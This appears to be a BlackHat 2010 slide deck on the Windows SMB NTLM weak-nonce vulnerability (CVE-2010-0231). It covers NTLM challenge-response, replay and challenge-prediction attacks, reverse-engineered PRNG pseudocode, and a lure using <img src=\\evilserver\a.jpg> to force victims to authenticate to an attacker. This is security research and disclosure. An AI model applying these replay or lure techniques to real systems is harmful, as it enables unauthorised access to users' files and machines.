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Presentation goals:

‣ Describe the vulnerability in detail

‣ Explain & demonstrate exploitation
• Three different exploitation methods

‣ Clear up misconceptions

‣ Determine vulnerability scope, severity and impact

‣ Share Conclusions
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Vulnerability Information

‣ Flaws in Windows’ implementation of NTLM
- attackers can access SMB service as authorized user
- leads to read/write access to files, SMB shared resources in general 
and remote code execution

‣ Published February 2010

‣ CVE-2010-0231, BID 38085

‣ Advisory with Exploit Code:

• http://www.hexale.org/advisories/OCHOA-2010-0209.txt

‣ Addressed by MS10-012

http://www.hexale.org/advisories/OCHOA-2010-0209.txt
http://www.hexale.org/advisories/OCHOA-2010-0209.txt
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Why talk about this vulnerability?

‣ Major 14-year old vulnerability affecting Windows 
Authentication Mechanism!

- Basically, all Windows versions were affected (NT4, 2000, XP, 2003, Vista, 
2008, 7)
- Windows NT 4 released in ∼1996
- Windows NT 3.1 released in ∼1993 (∼17 years ago)
- All this time, we assumed it was working correctly.. but it wasn’t...
- Flew under the radar...
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Why talk about this vulnerability?

‣ Interesting vulnerability, not your common buffer 
overflow

- Issues in the Pseudo-Random Number Generator (PRNG)
- Challenge-response protocol implementation issues
- Replay attacks
- Attack to predict challenges is interesting
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Why talk about this vulnerability?

‣ There’s a lesson to be learned... again...

• Don’t assume anything... auth was broken!

• Crypto is hard

- to design a good algorithm (e.g.: RC*)

- to design a good protocol (e.g.: WEP)

- to implement an algorithm (e.g.: Blowfish signedness issue)

- to implement a protocol (e.g.: OpenSSL EVP_VerifyFinal issue)

- to implement an algorithm or protocol you haven’t designed

- to fully comprehend the implications of an algorithm or protocol

- to use the right protocol in the right context

- Etc., etc., etc., etc...
➡ May want to review it periodically..

• ‘Random’ might not be ‘random’ (PRNG 1= CSPRNG)
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What is SMB NTLM Authentication?

‣ SMB (Server Message Block)
• Microsoft Windows Protocol used for network file sharing, 
printer sharing, etc.
• Provides communications abstractions: named pipes, mail slots
• Remote Procedure Calls (DCE/RPC over SMB)

- Distributed COM (DCOM)

‣ NTLM  (NT Lan Manager)
• Microsoft Windows challenge-response authentication protocol

- NTLMv1, NTLMv2, Raw mode, NTLMSSP and more
• Used to authenticate SMB connections
• S...l...o...w...l...y.. being replaced by Kerberos 

• But, NTLM still very widely used... all versions..

SMB
NTLM

NTLMv1 NTLMv2

others..

Kerberos
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What is a challenge-response 
authentication protocol?
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Challenge-response 
authentication protocol

•   but without revealing the secret

‣A client wants to prove its identity to a server

‣ Both share a secret
• the secret identifies the client

‣Client must prove to the server knowledge of secret
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Challenge-response 
authentication protocol

‣ How?
• Server sends Client a challenge 
• Client provides response to Challenge
• Response depends on both the secret and the challenge
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Challenge-response 
authentication protocol

‣ What is the Challenge?
• Typically, number chosen by server randomly and secretly
• Number used no more than once (nonce) 
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Simple challenge-response protocol example

Client Server

Inits authentication

Generates and sends challenge C

Calculates and sends Response R, 
where R = f(secret, challenge)

Verifies R,
Allows or disallows access

‣ ‘secret’ is shared by both parties and identifies client

‣ To help prevent prediction attacks, replay attacks and others,
- Challenges have to be nonpredictable
- Challenges have to be unique
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Challenge-response attack example

Client Server

Inits authentication
1.

Returns a challenge = 2

Sends back Response R, R = 4

Verifies R, allows or disallows access

Attacker Server

2.

Inits authentication

Returns a challenge = X{
...attacker connects to Server repeatedly, until Server returns Challenge = 2 (duplicate!)... 

Sends Response R = 4

Attacker authenticates successfully
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Challenge-response attack example

Attacker • Let X be the Challenge the Server will issue
• Attacker can predict X

1.

Inits authentication

Sends predicted challenge X

Sends back Response R

Attacker Client

acting as server
2.

Inits authentication

Sends challenge X as predicted

Sends back Response R

Attacker authenticates as Client on Server

Attacker
Server

3.
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NTLM challenge-response 
authentication protocol



Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

BlackHat USA 2010

SMB NTLMv1 challenge-response 
authentication protocol (simplified)

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
includes supported dialects & flags

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Agrees on dialect to use & flags
includes 8-byte server challenge/nonce (C)

SMB_SESSION_SETUP_ANDX_REQUEST
includes username, domain
24-byte ‘Ansi Password’ (LM), 24-byte ‘Unicode 
Password’ (NT)

Ansi Password = f(LM_HASH, challenge)
Unicode Password = f(NT_HASH, challenge)

SMB_SESSION_SETUP_ANDX_RESPONSE
Allows or disallows access

Applies f() with
pwd hashes stored on server 

and compares result with client 
response

K1, K2, K3 = LM_HASH padded with 5 bytes (all zeroes)
24-byte ‘Ansi Password’ = DES(K1,C) + DES(K2,C) + DES(K3,C)
K1, K2, K3 = NT_HASH padded with 5 bytes (all zeroes) 
24-byte ‘Unicode Password’ = DES(K1,C) + DES(K2,C) + DES(K3,C)

f() = 
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SMB NTLMv1 challenge-response 
authentication protocol (example)

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce (aka Encryption Key): 752558B9B5C9DD79
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO

SMB_SESSION_SETUP_ANDX_REQUEST
Account: test, Domain: TEST-WINXPPRO
Ansi Pwd:  a1107a4e32e947906e605ec82cc5bc4b289aba170225d022
Unicode Pwd: f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beece2

SMB_SESSION_SETUP_ANDX_RESPONSE
Allows or disallows access Applies f() with

pwd hashes stored on server 
and compares result with client 

response

‣ A Challenge/nonce has one corresponding Response
- 1 to 1 relationship
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SMB NTLMv2 challenge-response 
authentication protocol (simplified)

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
includes supported dialects & flags

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Agrees on dialect to use & flags
includes 8-byte server challenge/nonce (C)

SMB_SESSION_SETUP_ANDX_REQUEST
includes username, domain
24-byte LMv2 = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge
16-byte NTv2 = hmac_md5(ntv2hash*, server_nonce + blob**)
8-byte TimeStamp
8-byte client_challenge (yes, again..)
*ntv2hash_server = hmac_md5( nt_hash, unicode(upper(user)) + unicode((upper(domain)) )
**blob = (TimeStamp+ client_challenge + domain + data)

SMB_SESSION_SETUP_ANDX_RESPONSE
Allows or disallows access

Calculates LMv2 and/or NTv2, 
compares result with client 

response
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SMB NTLMv2 challenge-response 
authentication protocol (example)

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: D87558B432C9DF09

SMB_SESSION_SETUP_ANDX_REQUEST
Account: test, Primary Domain: TEST-WINXPPRO
24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad
16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386
Header = 0x00000101
Reserved = 0x00000000 
8-byte TimeStamp = 3cea680ede1bcb01
8-byte client_challenge = 77ff82efd6f17dad
unknown = 0x00000000
domain name = TEST-WINXPPRO

SMB_SESSION_SETUP_ANDX_RESPONSE
Allows or disallows access

Calculates LMv2 and/or NTv2, 
compares result with client 

response
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SMB NTLM challenge-response authentication

‣ ‘EncryptionKey’ should not be predictable...
‣ ‘EncryptionKey’ should not be repeated...

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce (‘EncryptionKey’):   752558B9B5C9DD79
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO

1st. attempt

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce (‘EncryptionKey’): X
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO

n-th attempt

But it was! Frequently!

‣ So.. if we repeatedly connect to Server requesting a challenge
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n challenge occurrence index
within the collected sample

challenge count

1

all these challenges are unique

Plotting challenges occurrence
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n challenge occurrence index

challenge count

1

all the remaining challenges are 
unique2

i j

challenges at index i and j are the same!

Plotting challenges occurrence
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no points with 2 as image means 
there are no duplicates

Plotting challenges occurrence
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this is the same challenge and it was 
issued two times

Plotting challenges occurrence
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gap in unique challenge - “flat 
line” -,
means the challenge is plotted 
above
and was issued multiple times

Plotting challenges occurrence
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Plotting challenges occurrence
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Plotting challenges occurrence
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Plotting challenges occurrence
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n challenge occurrence index

challenge id

1

all these challenges are unique
2

i j

challenges at index i and j
are equal and their
issue distance is j - i

3

challenges at index k and l
are equal and their
issue distance is l - k

k l

Plotting challenges occurrence
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Plotting challenges occurrence
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Plotting challenges occurrence
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pattern a pattern b

Plotting challenges occurrence
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pattern c

pattern c

pattern a

pattern a

Plotting challenges occurrence
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Plotting challenges occurrence
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Plotting challenges occurrence
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Exploitation Methods

‣ Passive replay attacks

‣ Active collection of duplicate challenges

‣ Active prediction of challenges
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Exploitation Methods

‣ Passive replay attacks

‣ Active collection of duplicate challenges

‣ Active prediction of challenges
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Exploitation Methods - Passive replay attacks

Client Server

•Attacker eavesdrops NTLM traffic
•Gathers challenges and responses

1.

Nonce ‘Ansi Pwd’ ‘Unicode Pwd’ User Domain

F87058B9B5C9AF90 ff1f671e32543790908fbc7d2cfffc4b267acc908a25d
998

f35c1f8714f7ef1b82b8d73ef5f73f31be
0cd97c66beece2 test test-winxppro

752558B9B5C9DD79 a1107a4e32e947906e605ec82cc5bc4b289aba1702
25d022

0000909f1bbbbf1123489a9af5aaf3000
0cd97c55afffc4

test test-winxppro

897DB8F4FDC10000
dddd987980094790909000082cdddc4bcccd43179
87abcdd

aaaa12349cfd14dc988800082cbbbb00
ddfdffd7123abbbb test2 test2-winxppro

... ... ... ... ...

NTLMv1 example
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2.

ServerAttacker

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: 752558B9B5C9DD79
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO

Nonce ‘Ansi Pwd’ ‘Unicode Pwd’ User Domain
... ... ... ... ...

752558B9B5C9D
D79

a1107a4e32e947906e605ec82cc5bc4b28
9aba170225d022

0000909f1bbbbf1123489a9af5a
af30000cd97c55afffc4 test

test-
winxppro

... ... ... ... ...

• Until server generates duplicate challenge (observed in 1)

?

• Attacker performs authentication attempts repeatedly

Exploitation Methods - Passive replay attacks
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2.

ServerAttacker

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: 752558B9B5C9DD79
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO

Nonce ‘Ansi Pwd’ ‘Unicode Pwd’ User Domain
... ... ... ... ...

752558B9B5C9D
D79

a1107a4e32e947906e605ec82cc5bc4b28
9aba170225d022

0000909f1bbbbf1123489a9af5a
af30000cd97c55afffc4

test test-winxppro

... ... ... ... ...

!

• Gains access to Server

SMB_SESSION_SETUP_ANDX_RESPONSE
allows access

Attacker Server

SMB_SESSION_SETUP_ANDX_REQUEST
Account: test, Domain: TEST-WINXPPRO
Ansi Pwd:  a1107a4e32e947906e605ec82cc5bc4b289aba170225d022
Unicode Pwd: f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beece2

•  Attacker sends response R (observed in 1)

Exploitation Methods - Passive replay attacks
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‣ Vulnerable code that generates weak nonces is not 
reached when using NTLMSSP/extended security

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
includes supported dialects & flags

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Agrees on dialect to use & flags
Server GUID/Blob
Does NOT include 8-byte server challenge

SMB_SESSION_SETUP_ANDX_REQUEST
NTLMSSP_NEGOTIATE (w/flags)

SMB_SESSION_SETUP_ANDX_RESPONSE
NTLMSSP_CHALLENGE

8-byte NTLM Challenge

SMB_SESSION_SETUP_ANDX_REQUEST
NTLMSSP_AUTH
includes NTLMv1/NTLMv2 response,
username, domain, hostname,etc.

generated by 
different code

SMB_SESSION_SETUP_ANDX_RESPONSE
allows or disallows access
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Flags2 SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001Client Server
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• Nowadays,  Windows to Windows uses flags2 = 0xc853

• Windows NT4 SP1-SP6 uses  0x0003

• Finder OSX 10.3 uses 0x4801 and 0x4001 
• Finder OSX 10.6.4 uses 0xC801

• smbclient (current versions) use  0xC801

‣ This is good for the prediction attack...

‣ But, network traffic of each network needs to be analyzed
• Clients and Servers have a saying on which ‘mode’ will be used

• Windows 2000 Professional uses 0xC853

Client Server
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• Active attack sends SMB_NEGOTIATE_PROTOCOL_REQUEST w/flags2 = 0xc001
• When listening, returns SMB_NEGOTIATE_PROTOCOL_RESPONSE w/flags2 = 0xc001
 and ‘Capabilities’ with extended security disabled

➡ NTLMSSP/extended security not used
• even when Windows sends flags2 = 0xc853 
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SMB NTLMv2 challenge-response 
authentication protocol (simplified)

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
includes supported dialects & flags

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Agrees on dialect to use & flags
includes 8-byte server challenge/nonce (C)

SMB_SESSION_SETUP_ANDX_REQUEST
includes username, domain
24-byte LMv2 = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge
16-byte NTv2 = hmac_md5(ntv2hash*, server_nonce + blob**)
8-byte TimeStamp
8-byte client_challenge (yes, again..)
*ntv2hash_server = hmac_md5( nt_hash, unicode(upper(user)) + unicode((upper(domain)) )
**blob = (TimeStamp+ client_challenge + domain + data)

SMB_SESSION_SETUP_ANDX_RESPONSE
Allows or disallows access

Calculates LMv2 and/or NTv2, 
compares result with client 

response
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SMB NTLMv2 challenge-response 
authentication protocol (simplified)

Client Server

SMB_NEGOTIATE_PROTOCOL_REQUEST
includes supported dialects & flags

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Agrees on dialect to use & flags
includes 8-byte server challenge/nonce (C)

SMB_SESSION_SETUP_ANDX_REQUEST
includes username, domain
24-byte LMv2 = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge
16-byte NTv2 = hmac_md5(ntv2hash*, server_nonce + blob**)
8-byte TimeStamp
8-byte client_challenge (yes, again..)
*ntv2hash_server = hmac_md5( nt_hash, unicode(upper(user)) + unicode((upper(domain)) )
**blob = (TimeStamp+ client_challenge + domain + data)

SMB_SESSION_SETUP_ANDX_RESPONSE
Allows or disallows access

Calculates LMv2 and/or NTv2, 
compares result with client 

response
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‣ Passive replay attacks

‣ Active collection of duplicate challenges

‣ Active prediction of challenges

Exploitation Methods
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Exploitation - Active collection of duplicate challenges

Attacker User/Wkst1.

• Attacker sends multiple auth attempts and gathers challenges

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: 752558B9B5C9DD79

Nonce
...

752558B9B5C9DD79

F87058B9B5C9AF90

...
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Exploitation - Active collection of duplicate challenges

• Attacker ‘makes’ user connect to him
• E.g.:  email with link to ‘evil’ web site or embedded HTML with 
multiple <img src=\\evilserver\a.jpg>

2.

Attacker User/Wkst

• User connects to attacker’s custom SMB server 
SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc853

acting as server

• Sends all challenges obtained in 1 

Nonce
...

752558B9B5C9DD7
9

F87058B9B5C9AF9
0

...

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: 752558B9B5C9DD79

• Sends Response R
SMB_SESSION_SETUP_ANDX_REQUEST

Account: test, Primary Domain: TEST-WINXPPRO
24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad

16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386
Header = 0x00000101

Reserved = 0x00000000 
8-byte TimeStamp = 3cea680ede1bcb01

8-byte client_challenge = 77ff82efd6f17dad
unknown = 0x00000000

domain name = TEST-WINXPPRO

Nonce Response

...

752558B9B
5C9DD79

...• Attacker makes user/wkst ‘encrypt/hash’ challenges obtained in 1
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Exploitation - Active collection of duplicate challenges

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2:  0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: 752558B9B5C9DD79Attacker User/Wkst

3.

Nonce Response

...

752558B9
B5C9DD7
9

[..]

...

• Attacker gains access to user/workstation/server as User

SMB_SESSION_SETUP_ANDX_RESPONSE
allows access

SMB_SESSION_SETUP_ANDX_REQUEST
Account: test, Primary Domain: TEST-WINXPPRO
24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad
16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386
Header = 0x00000101
Reserved = 0x00000000 
8-byte TimeStamp = 3cea680ede1bcb01
8-byte client_challenge = 77ff82efd6f17dad
unknown = 0x00000000
domain name = TEST-WINXPPRO

• Sends Response (obtained in 2)

?

• Attacker waits until duplicate challenge obtained in 1 appears
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Exploitation - Active collection of duplicate challenges

‣ Duplicate challenges and responses obtained 
can be reused! 

- on the same machine!
- on other machines!
- attack once, exploit many times!
- exploit trust relationships!

‣ You only need to repeat step 3 to regain access 

Our tests showed that...
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‣ Passive replay attacks

‣ Active collection of duplicate challenges

‣ Active prediction of challenges

Exploitation Methods
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Client

Server

srv.sys!SrvSmbNegotiate
SMB_NEGOTIATE_PROTOCOL_REQUEST

Dialect: NT LM 0.12, Flags2:  0xc001

EncryptionKey = 
srv.sys!GetEncryptionKey()

SMB_NEGOTIATE_PROTOCOL_RESPONSE

Encryption Key: 752558B9B5C9DD79
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srv.sys ntoskrnl.exe

SMB code
KeQuerySystemTime()

RtlRandom()

GetEncryptionKey()

_EncryptionKeyCount

1.Create seed

2.Use seed

3.Create challenge

4.Return challenge
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GLOBAL_DWORD _EncryptionKeyCount = 0

srv.sys!GetEncryptionKey()
{
	

 LARGE_INTEGER CurrentTime
	

 DWORD Seed
	

 DWORD n1, n2, n3

	

 KeQuerySystemTime(&CurrentTime)
	

 CurrentTime.LowPart += _EncryptionKeyCount
	

 _EncryptionKeyCount += 0x100

	

 CT = CurrentTime.LowPart
	

 Seed = CT[1], CT[2]–1, CT[2], CT[1]+1

	

 n1 = ntoskrnl!RtlRandom(&Seed)
	

 n2 = ntoskrnl!RtlRandom(&Seed)
	

 n3 = ntoskrnl!RtlRandom(&Seed)

	

 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2

	

 return challenge
}
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GLOBAL_DWORD _EncryptionKeyCount = 0

srv.sys!GetEncryptionKey()
{
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 DWORD Seed
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 n3 = ntoskrnl!RtlRandom(&Seed)

	

 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2

	

 return challenge
}
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GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
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 DWORD Seed
	

 DWORD n1, n2, n3
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 CT = CurrentTime.LowPart
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 n2 = ntoskrnl!RtlRandom(&Seed)
	

 n3 = ntoskrnl!RtlRandom(&Seed)

	

 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2

	

 return challenge
}
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GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
	

 LARGE_INTEGER CurrentTime
	

 DWORD Seed
	

 DWORD n1, n2, n3
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 CurrentTime.LowPart += _EncryptionKeyCount
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 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2
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GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
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 DWORD Seed
	

 DWORD n1, n2, n3
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 CurrentTime.LowPart += _EncryptionKeyCount
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 CT = CurrentTime.LowPart
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 n1 = ntoskrnl!RtlRandom(&Seed)
	

 n2 = ntoskrnl!RtlRandom(&Seed)
	

 n3 = ntoskrnl!RtlRandom(&Seed)

	

 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2

	

 return challenge
}
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GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
	

 LARGE_INTEGER CurrentTime
	

 DWORD Seed
	

 DWORD n1, n2, n3

	

 KeQuerySystemTime(&CurrentTime)
	

 CurrentTime.LowPart += _EncryptionKeyCount
	

 _EncryptionKeyCount += 0x100

	

 CT = CurrentTime.LowPart
	

 Seed = CT[1], CT[2]–1, CT[2], CT[1]+1

	

 n1 = ntoskrnl!RtlRandom(&Seed)
	

 n2 = ntoskrnl!RtlRandom(&Seed)
	

 n3 = ntoskrnl!RtlRandom(&Seed)

	

 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2

	

 return challenge
}
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GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
	

 LARGE_INTEGER CurrentTime
	

 DWORD Seed
	

 DWORD n1, n2, n3

	

 KeQuerySystemTime(&CurrentTime)
	

 CurrentTime.LowPart += _EncryptionKeyCount
	

 _EncryptionKeyCount += 0x100

	

 CT = CurrentTime.LowPart
	

 Seed = CT[1], CT[2]–1, CT[2], CT[1]+1

	

 n1 = ntoskrnl!RtlRandom(&Seed)
	

 n2 = ntoskrnl!RtlRandom(&Seed)
	

 n3 = ntoskrnl!RtlRandom(&Seed)

	

 n1 |= 0x80000000    if (n3 & 1) == 1
	

 n2 |= 0x80000000    if (n3 & 2) == 2

	

 challenge =  n1, n2

	

 return challenge
}



GetEncryptionKey() summary

‣Gets entropy bits from

• KeQuerySystemTime()

• _EncryptionKeyCount

‣Constructs a seed

• seed = CT[1], CT[2]-1, CT[2], CT[1]+1

‣Gets n1, n2, n3 from RtlRandom()

‣Modifies n1 and n2 depending on n3

‣ Returns a challenge concatenating n1 and n2
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Where do we want to go ?

If we know
★the current internal state of RtlRandom()
★the current system time of the GetEncryptionKey() call
★the current value of _EncryptionKeyCount
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➡...we can calculate n1, n2, n3... 
➡...and predict the next challenges to be issued...
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RtlRandom overview 
[1/5]

ntoskrnl.exe

RtlRandom()
(M-M PRNG system)_RtlpRandomConstantVector

1. Create numbers based 
on input seed using 
two LCGs

2. Fetch value from 
vector

3. Store value into vector
4. Return fetched value 

and a context

•srv.sys!
    GetEncryptionKey()

RtlRandom()
Callers



RtlRandom overview: Pseudorandom Number Generators 
[2/5]

‣ A pseudorandom number generator (PRNG) generates 
sequence of numbers

‣ Desirable properties of a generated sequence of random 
numbers

• K1: low probability of identical consecutive elements
• K2: pass certain statistical tests
• K3: should be impossible to recover or predict values from any 

given sequence
• K4: should be impossible from an inner state to recover any 

previous values or any previous inner states 

‣A PRNG may not be cryptographically suited
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‣ A Linear Congruential Generator (LCG) is a PRNG

‣ Algorithm

‣Xn+1 = (a * Xn + c) mod m

‣ Generates predictable sequences of pseudorandom numbers

➡It is not suitable for cryptographic purposes

‣ Knowing a, c, m and Xn it is straightforward to calculate Xn+1

‣ Given a few Xn it is possible to recover a, c and m

➡Given a few Xn it is possible to reconstruct the sequence
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RtlRandom overview: Linear Congruential Generators
[3/5]



‣ A MacLaren and Marsaglia system (M-M) is a PRNG

‣ Combines the output of two LCG and a fixed size vector

‣ Algorithm

i. generate X using LCG1

ii.generate Y using LCG2

iii.construct index j from Y

iv.fetch Z from V[j]

v.store X into V[j]

vi.return Z
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RtlRandom overview: MacLaren-Marsaglia Generators
[4/5]
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RtlRandom overview: MacLaren-Marsaglia Generators
[5/5]

M-M vector V

V0 V1 V2

... ... ...

Vn-3 Vn-2 Vn-1

‣Vector V, size n, initialized

‣X = LCG1()

‣Y = LCG2()

‣j = Y & (n - 1)
Vj ‣Z = V[j]
Vj Z

‣V[j] = X

X

‣return Z
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RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
	

 DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
	

 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
	

 DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus

	

 DWORD X;                                       // LCG1 output
	

 DWORD Y;                                        // LCG2 output
	

 DWORD Z;                                       // RtlRandom output

	

 X = ( a * (*Seed) + c ) mod m             // M-M LCG1
	

 Y = ( a * X + c ) mod m                      // M-M LCG2

	

 *Seed = Y                                           // returned as context
	

 j = Y & 0x7F	

                                  // index derived from LCG2

	


	

 Z = _RtlpRandomConstantVector[j]      // FETCH
	

 _RtlpRandomConstantVector[j] = X      // STORE

	

 return Z
}
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 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
	

 DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus

	

 DWORD X;                                       // LCG1 output
	

 DWORD Y;                                        // LCG2 output
	

 DWORD Z;                                       // RtlRandom output
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RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
	

 DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
	

 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
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RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
	

 DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
	

 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
	

 DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus
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 return Z
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RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
	

 DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
	

 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
	

 DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus

	

 DWORD X;                                       // LCG1 output
	

 DWORD Y;                                        // LCG2 output
	

 DWORD Z;                                       // RtlRandom output

	

 X = ( a * (*Seed) + c ) mod m             // M-M LCG1
	

 Y = ( a * X + c ) mod m                      // M-M LCG2

	

 *Seed = Y                                           // returned as context
	

 j = Y & 0x7F	

                                  // index derived from LCG2

	


	

 Z = _RtlpRandomConstantVector[j]      // FETCH

	

 _RtlpRandomConstantVector[j] = X                   // STORE

	

 return Z
}
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RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
	

 DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
	

 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
	

 DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus

	

 DWORD X;                                       // LCG1 output
	

 DWORD Y;                                        // LCG2 output
	

 DWORD Z;                                       // RtlRandom output

	

 X = ( a * (*Seed) + c ) mod m             // M-M LCG1
	

 Y = ( a * X + c ) mod m                      // M-M LCG2

	

 *Seed = Y                                           // returned as context
	

 j = Y & 0x7F	

                                  // index derived created LCG2

	


	

 Z = RtlpRandomConstantVector[j]                     // FETCH

	

 _RtlpRandomConstantVector[j] = X      // STORE

	

 return Z
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RtlRandom() pseudocode

DWORD _RtlpRandomConstantVector[128]

DWORD ntoskrnl!RtlRandom(DWORD *Seed)
{
	

 DWORD a = 0x7FFFFFED;                 // LCG{1,2} multiplier
	

 DWORD c = 0x7FFFFFC3;                 // LCG{1,2} increment
	

 DWORD m = 0x7FFFFFFF;                 // LCG{1,2} modulus

	

 DWORD X;                                       // LCG1 output
	

 DWORD Y;                                        // LCG2 output
	

 DWORD Z;                                       // RtlRandom output

	

 X = ( a * (*Seed) + c ) mod m             // M-M LCG1
	

 Y = ( a * X + c ) mod m                      // M-M LCG2

	

 *Seed = Y                                     // returned as context
	

 j = Y & 0x7F	

                                  // index derived from LCG2

	


	

 Z = _RtlpRandomConstantVector[j]      // FETCH
	

 _RtlpRandomConstantVector[j] = X      // STORE

	

 return Z;
}



‣ It is an M-M system

➡Two operations can be defined

✓FETCH: dependent on values 
of the table AND the seed/
context

✓STORE, dependent on values 
of the seed/context BUT 
independent of the values of the 
table
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RtlRandom() summary

_RtlpRandomConstantVector

_RtlpRandomConstantVector



Knowing the PRNG internal state depends on

1. _EncryptionKeyCount value

2. Calls to RtlRandom()

3. Return value of KeQuerySystemTime()

... we performed a macro analysis of the SMB protocol and the related 
components...
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Challenge generation macro analysis overview



_EncryptionKeyCount value

‣ Always initialized to zero at system boot time

‣  Only updated by GetEncryptionKey, which is not usually called

➡_EncryptiontKeyCount is predictable depending on the 
environment ( _EncryptionKeyCount = 0 )
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Challenge generation macro analysis
[1/3]



Calls to RtlRandom()
‣ They are performed every time a process is spawned

‣ not an issue
‣ large number of process spawns during attack not likely
‣ try another predicted challenge
‣ launch the attack again

➡The consequences of RtlRandom() calls can be 
circumvented
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Challenge generation macro analysis
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KeQuerySystemTime() return value
‣ It is incremented by 100-nanoseconds

‣ Could be the same among consecutive packets

‣ Only the middle 16-bits of CurrentTime.LowPart are used

‣ The current system time of the Server is leaked during SMB 
NTLM negotiation

➡ KeQuerySystemTime() return value is known by 
the attacker
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Challenge generation macro analysis
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Client

Server

srv.sys!SrvSmbNegotiate
SMB_NEGOTIATE_PROTOCOL_REQUEST

Dialect: NT LM 0.12, Flags2:  0xc001

EncryptionKey 
srv.sys!GetEncryptionKey()

